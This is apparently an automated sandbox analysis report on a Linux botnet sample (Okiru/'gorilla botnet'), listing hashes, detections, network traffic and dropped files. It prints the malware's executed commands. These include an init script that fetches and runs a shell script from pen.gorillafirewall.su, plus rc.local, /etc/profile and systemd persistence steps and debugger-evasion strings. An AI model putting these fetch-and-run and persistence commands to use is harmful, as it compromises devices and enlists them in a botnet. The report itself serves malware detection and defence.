Linux Analysis Report
mipsel.nn.elf

Overview

General Information

Sample name:	mipsel.nn.elf
Analysis ID:	1522877
MD5:	e0469c31b5162779233c00a0562acd22
SHA1:	f373f0ed7e07cd75c592c87767d821265602b2b3
SHA256:	4cac6023b760e1fdae8c096a4db425eae3bbfe0d2554551efb76fc2f2d3a6b1b
Tags:	elfpen-gorillafirewall-suuser-JAMESWT_MHT
Infos:

Detection

Okiru

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Drops files in suspicious directories

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Classification

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mipsel.nn.elf

Avira: detected

Found strings indicative of a multi-platform dropper

Source: mipsel.nn.elf

String: Found And Killed Process: PID=%d, Realpath=%s7815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)/fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/null 2>&1Debugger (gdb) detected. Exiting. gorilla botnet didnt like this honeypot....which lldb > /dev/null 2>&1Debugger (lldb) detected. Exiting. gorilla botnet didnt like this honeypot....which dtrace > /dev/null 2>&1Debugger (dtrace) detected. Exiting. gorilla botnet didnt like this honeypot....which truss > /dev/null 2>&1Debugger (truss) detected. Exiting. gorilla botnet didnt like this honeypot....which ptrace > /dev/null 2>&1Debugger (ptrace) detected. Exiting. gorilla botnet didnt like this honeypot....LD_PRELOADSandbox detected (LD_PRELOAD). Exiting. gorilla botnet didnt like this honeypot....LD_LIBRARY_PATHSandbox detected (LD_LIBRARY_PATH). Exiting. gorilla botnet didnt like this honeypot....LD_AUDITSandbox detected (LD_AUDIT). Exiting. gorilla botnet didnt like this honeypot..../proc/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 91.92.246.113 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 93.123.85.166 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.17.220 ports 38241,1,2,3,4,8

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.15:53982 -> 45.202.35.64:199
Source: global traffic	TCP traffic: 192.168.2.15:48326 -> 154.216.17.220:38241
Source: global traffic	TCP traffic: 192.168.2.15:38610 -> 91.92.246.113:38241
Source: global traffic	TCP traffic: 192.168.2.15:45970 -> 93.123.85.166:38241

Sample listens on a socket

Source: /tmp/mipsel.nn.elf (PID: 5526)

Socket: 0.0.0.0:38241

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64

Source: mipsel.nn.elf.32.dr, profile.12.dr, inittab.12.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr

String found in binary or memory: http://pen.gorillafirewall.su/

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: Found And Killed Process: PID=%d, Realpath=%s7815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)/fd/socket/tmp/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt487154914:1553<41<515791446<6145

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/mipsel.nn.elf (PID: 5528)	SIGKILL sent: pid: 793, result: successful	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5528)	SIGKILL sent: pid: 888, result: successful	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5528)	SIGKILL sent: pid: 1729, result: successful	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5528)	SIGKILL sent: pid: 3273, result: successful	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5528)	SIGKILL sent: pid: 3278, result: successful	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5528)	SIGKILL sent: pid: 5533, result: successful	Jump to behavior

Source: classification engine

Classification label: mal76.spre.troj.evad.linELF@0/11@0/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/mipsel.nn.elf (PID: 5526)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/mipsel.nn.elf (PID: 5526)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 5544)	File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary	Jump to behavior
Source: /usr/bin/ln (PID: 5555)	File: /etc/rc.d/S99mipsel.nn.elf -> /etc/init.d/mipsel.nn.elf	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/mipsel.nn.elf (PID: 5526)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5541)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5549)	File: /etc/init.d/mipsel.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/mipsel.nn.elf (PID: 5530)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5539)	Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5542)	Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5545)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mipsel.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mipsel.nn.elf'\n /tmp/mipsel.nn.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mipsel.nn.elf'\n killall mipsel.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mipsel.nn.elf"	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5547)	Shell command executed: sh -c "chmod +x /etc/init.d/mipsel.nn.elf >/dev/null 2>&1"	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5550)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5553)	Shell command executed: sh -c "ln -s /etc/init.d/mipsel.nn.elf /etc/rc.d/S99mipsel.nn.elf >/dev/null 2>&1"	Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 5541)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary			Jump to behavior
Source: /bin/sh (PID: 5549)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mipsel.nn.elf			Jump to behavior

Executes the "mkdir" command used to create folders

Source: /bin/sh (PID: 5552)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /bin/sh (PID: 5532)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Sample tries to set the executable flag

Source: /tmp/mipsel.nn.elf (PID: 5526)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5541)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5549)	File: /etc/init.d/mipsel.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Writes shell script file to disk with an unusual file extension

Source: /tmp/mipsel.nn.elf (PID: 5526)	Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary	Jump to dropped file
Source: /tmp/mipsel.nn.elf (PID: 5526)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 5545)	Writes shell script file to disk with an unusual file extension: /etc/init.d/mipsel.nn.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/mipsel.nn.elf (PID: 5526)	File: /etc/init.d/mybinary			Jump to dropped file
Source: /bin/sh (PID: 5545)	File: /etc/init.d/mipsel.nn.elf			Jump to dropped file

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/mipsel.nn.elf (PID: 5526)

Queries kernel information via 'uname':

Jump to behavior

Source: mipsel.nn.elf, 5526.1.00007ffca250a000.00007ffca252b000.rw-.sdmp	Binary or memory string: bx86_64/usr/bin/qemu-mipsel/tmp/mipsel.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mipsel.nn.elf
Source: mipsel.nn.elf, 5526.1.000055b14ebd7000.000055b14ec5e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: mipsel.nn.elf, 5526.1.00007ffca250a000.00007ffca252b000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.8o8Kh2
Source: mipsel.nn.elf, 5526.1.00007ffca250a000.00007ffca252b000.rw-.sdmp	Binary or memory string: /qemu-open.XXXXX
Source: mipsel.nn.elf, 5526.1.000055b14ebd7000.000055b14ec5e000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: mipsel.nn.elf, 5526.1.00007ffca250a000.00007ffca252b000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.8o8Kh2\
Source: mipsel.nn.elf, 5526.1.00007ffca250a000.00007ffca252b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

Yara detected Okiru

Source: Yara match	File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match	File source: 5526.1.00007fc008400000.00007fc008419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mipsel.nn.elf PID: 5526, type: MEMORYSTR

Remote Access Functionality

Yara detected Okiru

Source: Yara match	File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match	File source: 5526.1.00007fc008400000.00007fc008419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mipsel.nn.elf PID: 5526, type: MEMORYSTR

Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
154.216.17.220	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true
45.202.35.64	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
91.92.246.113	unknown	Bulgaria	34368	THEZONEBG	true
93.123.85.166	unknown	Bulgaria	43561	NET1-ASBG	true

ID:	1522877
Product:	CloudBasic
Start time:	19:31:33
Start date:	30.09.2024
Sample:	mipsel.nn.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	e0469c31b5162779233c00a0562acd22
SHA1:	f373f0ed7e07cd75c592c87767d821265602b2b3
SHA256:	4cac6023b760e1fdae8c096a4db425eae3bbfe0d2554551efb76fc2f2d3a6b1b
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Name	Type	MD5	SHA1	SHA256
/boot/bootcmd	ASCII text	E0B13040CFE17D25DCDC29410C88D78D	692F05CBA05A73548DB4B467F2C29481603C547E	7057F13237BA6DA7D92C7A9494756EA6B8C9B980AB97E0A3AF8FDF98E263F12C
/etc/init.d/mipsel.nn.elf	POSIX shell script, ASCII text executable	0A939B5F03F134AB771F7206A2ED04D9	D002B5F3FF91C0022FC65A5D1385C71FDC9E3B8F	A9C84B4CD0AABB314424C40545E17701C3084435C0A929E0086B0F2AE8C2FFFF
/etc/init.d/mybinary	POSIX shell script, ASCII text executable	E5FFB4A501680A943DD0F39A608545BE	60F3CC3973C6085A410E2390993654124734C0BD	4371FC826540D3431E81C0359CF8A9D55F21B418A30E7A166F07C1FB406E9A02
/etc/inittab	ASCII text	E805292CCD72AE2F905C4C0B55713627	11E3AEFDAA2862EE775600CA373C6239EC75CC00	44471FA65AF253E15D4C410D996DE27B3C2CF8796BCD4C7C06D633980BC330E1
/etc/motd	ASCII text	2BD9B4BE30579E633FC0191AA93DF486	7D63A9BD9662E86666B27C1B50DB8E7370C624FF	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
/etc/profile	ASCII text	1FAA1CA87C5ADD07437254CD3E438D06	B4FCC60B9317279BFB6CCF0F9B0C5D4541B15C76	F3D9175CC3A8511ADBF6FF303CEE941C96BE5EE402FA2AA6EEDA2A21E3BC3255
/etc/rc.local	POSIX shell script, ASCII text executable	3E2B31C72181B87149FF995E7202C0E3	BD971BEC88149956458A10FC9C5ECB3EB99DD452	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
/etc/systemd/system/custom.service	ASCII text	8D5F9D31474DDE1D482F142722820AD7	3D2B46B6F385E8323759D474F788B2CD231509AE	E03595A57527BFD161496A7B14CFEB7AAA1405B894A644E30D04FF69C3805007
/memfd:snapd-env-generator (deleted)	ASCII text	D86A1F5765F37989EB0EC3837AD13ECC	D749672A734D9DEAFD61DCA501C6929EC431B83E	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
/tmp/qemu-open.7muIa1 (deleted)	ASCII text	C20B2901F62A82729AA91DD8B5690E36	7C942B3C323EE09757B94F6F2D835A3C1E724411	4E4F231DCCE5F49D06A16908E88456E830518219E58A9D6D4B511E4033CEC44B
/tmp/qemu-open.8o8Kh2 (deleted)	ASCII text, with no line terminators	E161F2EC9C1A693BE77DD848C5A17087	C6DC3683D6AF6B3AD69F1E155638994278FD3DC9	6EC0A33B73DE74EBEB61B23D54BFF44B920A3F994E0781781253974DB671921F

Linux Analysis Report
mipsel.nn.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Linux Analysis Report mipsel.nn.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Linux Analysis Report
mipsel.nn.elf